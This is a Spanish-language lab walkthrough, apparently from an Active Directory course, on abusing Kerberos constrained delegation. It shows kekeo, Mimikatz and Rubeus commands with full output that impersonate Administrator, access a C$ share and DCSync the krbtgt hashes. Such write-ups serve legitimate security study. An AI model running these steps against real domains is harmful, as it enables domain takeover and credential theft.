Learning Objective - 16

Constrained Delegation

Buscamos usuarios y computadores con constrained delegation activado.

Con powerview:

PS C:\ad\tools> Get-DomainUser -TrustedToAuth

logoncount               : 7
badpasswordtime          : 3/2/2024 2:35:49 PM
distinguishedname        : CN=web svc,CN=Users,DC=dollarcorp,DC=moneycorp,DC=local
objectclass              : {top, person, organizationalPerson, user}
displayname              : web svc
lastlogontimestamp       : 3/2/2024 2:34:21 PM
userprincipalname        : websvc
whencreated              : 11/14/2022 12:42:13 PM
samaccountname           : websvc
codepage                 : 0
samaccounttype           : USER_OBJECT
accountexpires           : NEVER
countrycode              : 0
whenchanged              : 3/2/2024 10:34:21 PM
instancetype             : 4
usncreated               : 38071
objectguid               : b7ab147c-f929-4ad2-82c9-7e1b656492fe
sn                       : svc
lastlogoff               : 12/31/1600 4:00:00 PM
msds-allowedtodelegateto : {CIFS/dcorp-mssql.dollarcorp.moneycorp.LOCAL, CIFS/dcorp-mssql}
objectcategory           : CN=Person,CN=Schema,CN=Configuration,DC=moneycorp,DC=local
dscorepropagationdata    : {11/14/2022 12:42:13 PM, 1/1/1601 12:00:00 AM}
serviceprincipalname     : {SNMP/ufc-adminsrv.dollarcorp.moneycorp.LOCAL, SNMP/ufc-adminsrv}
givenname                : web
usnchanged               : 1252324
lastlogon                : 3/2/2024 2:36:14 PM
badpwdcount              : 0
cn                       : web svc
useraccountcontrol       : NORMAL_ACCOUNT, DONT_EXPIRE_PASSWORD, TRUSTED_TO_AUTH_FOR_DELEGATION
objectsid                : S-1-5-21-719815819-3726368948-3917688648-1114
primarygroupid           : 513
pwdlastset               : 11/14/2022 4:42:13 AM
name                     : web svc



PS C:\ad\tools> Get-DomainComputer -TrustedToAuth


pwdlastset                    : 11/11/2022 11:16:12 PM
logoncount                    : 79
badpasswordtime               : 12/31/1600 4:00:00 PM
distinguishedname             : CN=DCORP-ADMINSRV,OU=Applocked,DC=dollarcorp,DC=moneycorp,DC=local
objectclass                   : {top, person, organizationalPerson, user...}
lastlogontimestamp            : 3/2/2024 5:37:32 AM
whencreated                   : 11/12/2022 7:16:12 AM
samaccountname                : DCORP-ADMINSRV$
localpolicyflags              : 0
codepage                      : 0
samaccounttype                : MACHINE_ACCOUNT
whenchanged                   : 3/2/2024 1:37:32 PM
accountexpires                : NEVER
countrycode                   : 0
operatingsystem               : Windows Server 2022 Datacenter
instancetype                  : 4
useraccountcontrol            : WORKSTATION_TRUST_ACCOUNT, TRUSTED_TO_AUTH_FOR_DELEGATION
objectguid                    : 2e036483-7f45-4416-8a62-893618556370
operatingsystemversion        : 10.0 (20348)
lastlogoff                    : 12/31/1600 4:00:00 PM
msds-allowedtodelegateto      : {TIME/dcorp-dc.dollarcorp.moneycorp.LOCAL, TIME/dcorp-DC}
objectcategory                : CN=Computer,CN=Schema,CN=Configuration,DC=moneycorp,DC=local
dscorepropagationdata         : {11/15/2022 4:16:45 AM, 1/1/1601 12:00:00 AM}
serviceprincipalname          : {WSMAN/dcorp-adminsrv, WSMAN/dcorp-adminsrv.dollarcorp.moneycorp.local, TERMSRV/DCORP-ADMINSRV,
                                TERMSRV/dcorp-adminsrv.dollarcorp.moneycorp.local...}
usncreated                    : 13891
usnchanged                    : 617675
lastlogon                     : 3/2/2024 10:17:20 PM
badpwdcount                   : 0
cn                            : DCORP-ADMINSRV
msds-supportedencryptiontypes : 28
objectsid                     : S-1-5-21-719815819-3726368948-3917688648-1105
primarygroupid                : 515
iscriticalsystemobject        : False
name                          : DCORP-ADMINSRV
dnshostname                   : dcorp-adminsrv.dollarcorp.moneycorp.local

Con RSAT:

PS C:\ad\Tools\ADModule-master\ActiveDirectory> Get-ADObject -Filter {msDS-AllowedToDelegateTo -ne "$null"} -Properties msDS-AllowedToDelegateTo


DistinguishedName        : CN=DCORP-ADMINSRV,OU=Applocked,DC=dollarcorp,DC=moneycorp,DC=local
msDS-AllowedToDelegateTo : {TIME/dcorp-dc.dollarcorp.moneycorp.LOCAL, TIME/dcorp-DC}
Name                     : DCORP-ADMINSRV
ObjectClass              : computer
ObjectGUID               : 2e036483-7f45-4416-8a62-893618556370

DistinguishedName        : CN=web svc,CN=Users,DC=dollarcorp,DC=moneycorp,DC=local
msDS-AllowedToDelegateTo : {CIFS/dcorp-mssql.dollarcorp.moneycorp.LOCAL, CIFS/dcorp-mssql}
Name                     : web svc
ObjectClass              : user
ObjectGUID               : b7ab147c-f929-4ad2-82c9-7e1b656492fe

Ahora usaremos kekeo para solicitar el TGT, de websvc. Para ello, debemos tener el hash del usuario.

PS C:\AD\Tools\kekeo\x64> .\kekeo.exe

  ___ _    kekeo 2.1 (x64) built on Jun 15 2018 01:01:01 - lil!
 /   ('>-  "A La Vie, A L'Amour"
 | K  |    /* * *
 \____/     Benjamin DELPY `gentilkiwi` ( benjamin@gentilkiwi.com )
  L\_       http://blog.gentilkiwi.com/kekeo                (oe.eo)
                                             with  9 modules * * */

kekeo # tgt::ask /user:websvc /domain:dollarcorp.moneycorp.local /rc4:cc098f204c5887eaa8253e7c2749156f
Realm        : dollarcorp.moneycorp.local (dollarcorp)
User         : websvc (websvc)
CName        : websvc   [KRB_NT_PRINCIPAL (1)]
SName        : krbtgt/dollarcorp.moneycorp.local        [KRB_NT_SRV_INST (2)]
Need PAC     : Yes
Auth mode    : ENCRYPTION KEY 23 (rc4_hmac_nt      ): cc098f204c5887eaa8253e7c2749156f
[kdc] name: dcorp-dc.dollarcorp.moneycorp.local (auto)
[kdc] addr: 172.16.2.1 (auto)
  > Ticket in file 'TGT_websvc@DOLLARCORP.MONEYCORP.LOCAL_krbtgt~dollarcorp.moneycorp.local@DOLLARCORP.MONEYCORP.LOCAL.kirbi'

kekeo #

Luego, usamos S4U para solicitar el TGS.

kekeo # tgs::s4u /tgt:TGT_websvc@DOLLARCORP.MONEYCORP.LOCAL_krbtgt~dollarcorp.moneycorp.local@DOLLARCORP.MONEYCORP.LOCAL.kirbi /user:Administrator@dollarcorp.moneycorp.local /service:cifs/dcorp-mssql.dollarcorp.moneycorp.LOCAL
Ticket  : TGT_websvc@DOLLARCORP.MONEYCORP.LOCAL_krbtgt~dollarcorp.moneycorp.local@DOLLARCORP.MONEYCORP.LOCAL.kirbi
  [krb-cred]     S: krbtgt/dollarcorp.moneycorp.local @ DOLLARCORP.MONEYCORP.LOCAL
  [krb-cred]     E: [00000012] aes256_hmac
  [enc-krb-cred] P: websvc @ DOLLARCORP.MONEYCORP.LOCAL
  [enc-krb-cred] S: krbtgt/dollarcorp.moneycorp.local @ DOLLARCORP.MONEYCORP.LOCAL
  [enc-krb-cred] T: [3/3/2024 4:40:57 AM ; 3/3/2024 2:40:57 PM] {R:3/10/2024 4:40:57 AM}
  [enc-krb-cred] F: [40e10000] name_canonicalize ; pre_authent ; initial ; renewable ; forwardable ;
  [enc-krb-cred] K: ENCRYPTION KEY 18 (aes256_hmac      ): 20fb22049ae9a0c4f1fb9cad7078dad399b35bc006cffca0f0d1784100ad09d7
  [s4u2self]  Administrator@dollarcorp.moneycorp.local
[kdc] name: dcorp-dc.dollarcorp.moneycorp.local (auto)
[kdc] addr: 172.16.2.1 (auto)
  > Ticket in file 'TGS_Administrator@dollarcorp.moneycorp.local@DOLLARCORP.MONEYCORP.LOCAL_websvc@DOLLARCORP.MONEYCORP.LOCAL.kirbi'
Service(s):
  [s4u2proxy] cifs/dcorp-mssql.dollarcorp.moneycorp.LOCAL
  > Ticket in file 'TGS_Administrator@dollarcorp.moneycorp.local@DOLLARCORP.MONEYCORP.LOCAL_cifs~dcorp-mssql.dollarcorp.moneycorp.LOCAL@DOLLARCORP.MONEYCORP.LOCAL.kirbi'

kekeo #

Luego cargamos el ticket usando Mimikatz.

PS C:\AD\Tools\kekeo\x64> Invoke-Mimikatz -Command '"kerberos::ptt TGS_Administrator@dollarcorp.moneycorp.local@DOLLARCORP.MONEYCORP.LOCAL_cifs~dcorp-mssql.dollarcorp.moneycorp.LOCAL@DOLLARCORP.MONEYCORP.LOCAL.kirbi"'

  .#####.   mimikatz 2.2.0 (x64) #19041 Sep 20 2021 19:01:18
 .## ^ ##.  "A La Vie, A L'Amour" - (oe.eo)
 ## / \ ##  /*** Benjamin DELPY `gentilkiwi` ( benjamin@gentilkiwi.com )
 ## \ / ##       > https://blog.gentilkiwi.com/mimikatz
 '## v ##'       Vincent LE TOUX             ( vincent.letoux@gmail.com )
  '#####'        > https://pingcastle.com / https://mysmartlogon.com ***/

mimikatz(powershell) # kerberos::ptt TGS_Administrator@dollarcorp.moneycorp.local@DOLLARCORP.MONEYCORP.LOCAL_cifs~dcorp-mssql.dollarcorp.moneycorp.LOCAL@DOLLARCORP.MONEYCORP.LOCAL.kirbi

* File: 'TGS_Administrator@dollarcorp.moneycorp.local@DOLLARCORP.MONEYCORP.LOCAL_cifs~dcorp-mssql.dollarcorp.moneycorp.LOCAL@DOLLARCORP.MONEYCORP.LOCAL.kirbi': OK

PS C:\AD\Tools\kekeo\x64> klist

Current LogonId is 0:0x17ce62

Cached Tickets: (1)

#0>     Client: Administrator @ DOLLARCORP.MONEYCORP.LOCAL
        Server: cifs/dcorp-mssql.dollarcorp.moneycorp.LOCAL @ DOLLARCORP.MONEYCORP.LOCAL
        KerbTicket Encryption Type: AES-256-CTS-HMAC-SHA1-96
        Ticket Flags 0x40a10000 -> forwardable renewable pre_authent name_canonicalize
        Start Time: 3/3/2024 4:46:41 (local)
        End Time:   3/3/2024 14:40:57 (local)
        Renew Time: 3/10/2024 4:40:57 (local)
        Session Key Type: AES-256-CTS-HMAC-SHA1-96
        Cache Flags: 0
        Kdc Called:

Ahoraque ya tenemos el ticket intentamos acceder a los recursos del computador objetivo.

PS C:\AD\Tools\kekeo\x64> ls \\dcorp-mssql.dollarcorp.moneycorp.local\C$


    Directory: \\dcorp-mssql.dollarcorp.moneycorp.local\C$


Mode                 LastWriteTime         Length Name
----                 -------------         ------ ----
d-----          5/8/2021   1:15 AM                PerfLogs
d-r---        11/14/2022   4:44 AM                Program Files
d-----        11/14/2022   4:43 AM                Program Files (x86)
d-----         12/3/2023   6:36 AM                Transcripts
d-r---        11/15/2022   1:48 AM                Users
d-----         1/10/2024   2:17 AM                Windows

Nosotros tambien podriamos usar Rubeus para hacer todo este proceso en un solo comando:

Rubeus.exe s4u /user:websvc /aes256:2d84a12f614ccbf3d716b8339cbbe1a650e5fb352edc8e879470ade07e5412d7 /impersonateuser:Administrator /msdsspn:CIFS/dcorp-mssql.dollarcorp.moneycorp.LOCAL /ptt

Constrained Delegation con Servicio Alternativo

Para esto, es un poco mas de lo mismo. Usaremos kekeo para crear los tickets y luego los importaremos con mimikatz.

PS C:\AD\Tools\kekeo\x64> . .\kekeo.exe

  ___ _    kekeo 2.1 (x64) built on Jun 15 2018 01:01:01 - lil!
 /   ('>-  "A La Vie, A L'Amour"
 | K  |    /* * *
 \____/     Benjamin DELPY `gentilkiwi` ( benjamin@gentilkiwi.com )
  L\_       http://blog.gentilkiwi.com/kekeo                (oe.eo)
                                             with  9 modules * * */

kekeo # tgt::ask /user:dcorp-adminsrv$ /domain:dollarcorp.moneycorp.local /rc4:1fadb1b13edbc5a61cbdc389e6f34c67
Realm        : dollarcorp.moneycorp.local (dollarcorp)
User         : dcorp-adminsrv$ (dcorp-adminsrv$)
CName        : dcorp-adminsrv$  [KRB_NT_PRINCIPAL (1)]
SName        : krbtgt/dollarcorp.moneycorp.local        [KRB_NT_SRV_INST (2)]
Need PAC     : Yes
Auth mode    : ENCRYPTION KEY 23 (rc4_hmac_nt      ): 1fadb1b13edbc5a61cbdc389e6f34c67
[kdc] name: dcorp-dc.dollarcorp.moneycorp.local (auto)
[kdc] addr: 172.16.2.1 (auto)
KDC_ERR_PREAUTH_FAILED (24) - 3/3/2024 5:19:11 AM

kekeo # tgt::ask /user:dcorp-adminsrv$ /domain:dollarcorp.moneycorp.local /rc4:b5f451985fd34d58d5120816d31b5565
Realm        : dollarcorp.moneycorp.local (dollarcorp)
User         : dcorp-adminsrv$ (dcorp-adminsrv$)
CName        : dcorp-adminsrv$  [KRB_NT_PRINCIPAL (1)]
SName        : krbtgt/dollarcorp.moneycorp.local        [KRB_NT_SRV_INST (2)]
Need PAC     : Yes
Auth mode    : ENCRYPTION KEY 23 (rc4_hmac_nt      ): b5f451985fd34d58d5120816d31b5565
[kdc] name: dcorp-dc.dollarcorp.moneycorp.local (auto)
[kdc] addr: 172.16.2.1 (auto)
  > Ticket in file 'TGT_dcorp-adminsrv$@DOLLARCORP.MONEYCORP.LOCAL_krbtgt~dollarcorp.moneycorp.local@DOLLARCORP.MONEYCORP.LOCAL.kirbi'

kekeo # tgs::s4u /tgt:TGT_dcorp-adminsrv$@DOLLARCORP.MONEYCORP.LOCAL_krbtgt~dollarcorp.moneycorp.local@DOLLARCORP.MONEYCORP.LOCAL.kirbi /user:Administrator@dollarcorp.moneycorp.local /service:time/dcorp-dc.dollarcorp.moneycorp.LOCAL|ldap/dcorp-dc.dollarcorp.moneycorp.LOCAL
Ticket  : TGT_dcorp-adminsrv$@DOLLARCORP.MONEYCORP.LOCAL_krbtgt~dollarcorp.moneycorp.local@DOLLARCORP.MONEYCORP.LOCAL.kirbi
  [krb-cred]     S: krbtgt/dollarcorp.moneycorp.local @ DOLLARCORP.MONEYCORP.LOCAL
  [krb-cred]     E: [00000012] aes256_hmac
  [enc-krb-cred] P: dcorp-adminsrv$ @ DOLLARCORP.MONEYCORP.LOCAL
  [enc-krb-cred] S: krbtgt/dollarcorp.moneycorp.local @ DOLLARCORP.MONEYCORP.LOCAL
  [enc-krb-cred] T: [3/3/2024 5:20:52 AM ; 3/3/2024 3:20:52 PM] {R:3/10/2024 5:20:52 AM}
  [enc-krb-cred] F: [40e10000] name_canonicalize ; pre_authent ; initial ; renewable ; forwardable ;
  [enc-krb-cred] K: ENCRYPTION KEY 18 (aes256_hmac      ): 27441bd0a50c5fde9f7ac97f305fd6aed633b9d812743847310c13f69fa397e4
  [s4u2self]  Administrator@dollarcorp.moneycorp.local
[kdc] name: dcorp-dc.dollarcorp.moneycorp.local (auto)
[kdc] addr: 172.16.2.1 (auto)
  > Ticket in file 'TGS_Administrator@dollarcorp.moneycorp.local@DOLLARCORP.MONEYCORP.LOCAL_dcorp-adminsrv$@DOLLARCORP.MONEYCORP.LOCAL.kirbi'
Service(s):
  [s4u2proxy] time/dcorp-dc.dollarcorp.moneycorp.LOCAL
  [s4u2proxy] Alternative ServiceName: ldap/dcorp-dc.dollarcorp.moneycorp.LOCAL
  > Ticket in file 'TGS_Administrator@dollarcorp.moneycorp.local@DOLLARCORP.MONEYCORP.LOCAL_ldap~dcorp-dc.dollarcorp.moneycorp.LOCAL@DOLLARCORP.MONEYCORP.LOCAL_ALT.kirbi'

kekeo #
PS C:\AD\Tools\kekeo\x64> Invoke-Mimikatz -Command '"kerberos::ptt TGS_Administrator@dollarcorp.moneycorp.local@DOLLARCORP.MONEYCORP.LOCAL_ldap~dcorp-dc.dollarcorp.moneycorp.LOCAL@DOLLARCORP.MONEYCORP.LOCAL_ALT.kirbi"'

  .#####.   mimikatz 2.2.0 (x64) #19041 Sep 20 2021 19:01:18
 .## ^ ##.  "A La Vie, A L'Amour" - (oe.eo)
 ## / \ ##  /*** Benjamin DELPY `gentilkiwi` ( benjamin@gentilkiwi.com )
 ## \ / ##       > https://blog.gentilkiwi.com/mimikatz
 '## v ##'       Vincent LE TOUX             ( vincent.letoux@gmail.com )
  '#####'        > https://pingcastle.com / https://mysmartlogon.com ***/

mimikatz(powershell) # kerberos::ptt TGS_Administrator@dollarcorp.moneycorp.local@DOLLARCORP.MONEYCORP.LOCAL_ldap~dcorp-dc.dollarcorp.moneycorp.LOCAL@DOLLARCORP.MONEYCORP.LOCAL_ALT.kirbi

* File: 'TGS_Administrator@dollarcorp.moneycorp.local@DOLLARCORP.MONEYCORP.LOCAL_ldap~dcorp-dc.dollarcorp.moneycorp.LOCAL@DOLLARCORP.MONEYCORP.LOCAL_ALT.kirbi': OK

PS C:\AD\Tools\kekeo\x64> klist

Current LogonId is 0:0x17ce62

Cached Tickets: (1)

#0>     Client: Administrator @ DOLLARCORP.MONEYCORP.LOCAL
        Server: ldap/dcorp-dc.dollarcorp.moneycorp.LOCAL @ DOLLARCORP.MONEYCORP.LOCAL
        KerbTicket Encryption Type: AES-256-CTS-HMAC-SHA1-96
        Ticket Flags 0x40a50000 -> forwardable renewable pre_authent ok_as_delegate name_canonicalize
        Start Time: 3/3/2024 5:22:00 (local)
        End Time:   3/3/2024 15:20:52 (local)
        Renew Time: 3/10/2024 5:20:52 (local)
        Session Key Type: AES-256-CTS-HMAC-SHA1-96
        Cache Flags: 0
        Kdc Called:

Y como tenemos un ticket del servicio LDAP usando el usuario Administrator en la pc dcorp-dc. Podemos realizar dcsync.

PS C:\AD\Tools\kekeo\x64> Invoke-Mimikatz -Command '"lsadump::dcsync /user:dcorp\krbtgt"'

  .#####.   mimikatz 2.2.0 (x64) #19041 Sep 20 2021 19:01:18
 .## ^ ##.  "A La Vie, A L'Amour" - (oe.eo)
 ## / \ ##  /*** Benjamin DELPY `gentilkiwi` ( benjamin@gentilkiwi.com )
 ## \ / ##       > https://blog.gentilkiwi.com/mimikatz
 '## v ##'       Vincent LE TOUX             ( vincent.letoux@gmail.com )
  '#####'        > https://pingcastle.com / https://mysmartlogon.com ***/

mimikatz(powershell) # lsadump::dcsync /user:dcorp\krbtgt
[DC] 'dollarcorp.moneycorp.local' will be the domain
[DC] 'dcorp-dc.dollarcorp.moneycorp.local' will be the DC server
[DC] 'dcorp\krbtgt' will be the user account
[rpc] Service  : ldap
[rpc] AuthnSvc : GSS_NEGOTIATE (9)

Object RDN           : krbtgt

** SAM ACCOUNT **

SAM Username         : krbtgt
Account Type         : 30000000 ( USER_OBJECT )
User Account Control : 00000202 ( ACCOUNTDISABLE NORMAL_ACCOUNT )
Account expiration   :
Password last change : 11/11/2022 9:59:41 PM
Object Security ID   : S-1-5-21-719815819-3726368948-3917688648-502
Object Relative ID   : 502

Credentials:
  Hash NTLM: 4e9815869d2090ccfca61c1fe0d23986
    ntlm- 0: 4e9815869d2090ccfca61c1fe0d23986
    lm  - 0: ea03581a1268674a828bde6ab09db837

Supplemental Credentials:
* Primary:NTLM-Strong-NTOWF *
    Random Value : 6d4cc4edd46d8c3d3e59250c91eac2bd

* Primary:Kerberos-Newer-Keys *
    Default Salt : DOLLARCORP.MONEYCORP.LOCALkrbtgt
    Default Iterations : 4096
    Credentials
      aes256_hmac       (4096) : 154cb6624b1d859f7080a6615adc488f09f92843879b3d914cbcb5a8c3cda848
      aes128_hmac       (4096) : e74fa5a9aa05b2c0b2d196e226d8820e
      des_cbc_md5       (4096) : 150ea2e934ab6b80

* Primary:Kerberos *
    Default Salt : DOLLARCORP.MONEYCORP.LOCALkrbtgt
    Credentials
      des_cbc_md5       : 150ea2e934ab6b80

* Packages *
    NTLM-Strong-NTOWF

* Primary:WDigest *
    01  a0e60e247b498de4cacfac3ba615af01
    02  86615bb9bf7e3c731ba1cb47aa89cf6d
    03  637dfb61467fdb4f176fe844fd260bac
    04  a0e60e247b498de4cacfac3ba615af01
    05  86615bb9bf7e3c731ba1cb47aa89cf6d
    06  d2874f937df1fd2b05f528c6e715ac7a
    07  a0e60e247b498de4cacfac3ba615af01
    08  e8ddc0d55ac23e847837791743b89d22
    09  e8ddc0d55ac23e847837791743b89d22
    10  5c324b8ab38cfca7542d5befb9849fd9
    11  f84dfb60f743b1368ea571504e34863a
    12  e8ddc0d55ac23e847837791743b89d22
    13  2281b35faded13ae4d78e33a1ef26933
    14  f84dfb60f743b1368ea571504e34863a
    15  d9ef5ed74ef473e89a570a10a706813e
    16  d9ef5ed74ef473e89a570a10a706813e
    17  87c75daa20ad259a6f783d61602086aa
    18  f0016c07fcff7d479633e8998c75bcf7
    19  7c4e5eb0d5d517f945cf22d74fec380e
    20  cb97816ac064a567fe37e8e8c863f2a7
    21  5adaa49a00f2803658c71f617031b385
    22  5adaa49a00f2803658c71f617031b385
    23  6d86f0be7751c8607e4b47912115bef2
    24  caa61bbf6b9c871af646935febf86b95
    25  caa61bbf6b9c871af646935febf86b95
    26  5d8e8f8f63b3bb6dd48db5d0352c194c
    27  3e139d350a9063db51226cfab9e42aa1
    28  d745c0538c8fd103d71229b017a987ce
    29  40b43724fa76e22b0d610d656fb49ddd

Asi mismo, vemos que tambien podemos ejecutar el mismo ataque pero usando rubeus en una sola consulta.

Rubeus.exe s4u /user:dcorp-adminsrv$ /aes256:db7bd8e34fada016eb0e292816040a1bf4eeb25cd3843e041d0278d30dc1b445 /impersonateuser:Administrator /msdsspn:time/dcorp-dc.dollarcorp.moneycorp.LOCAL /altservice:ldap /ptt

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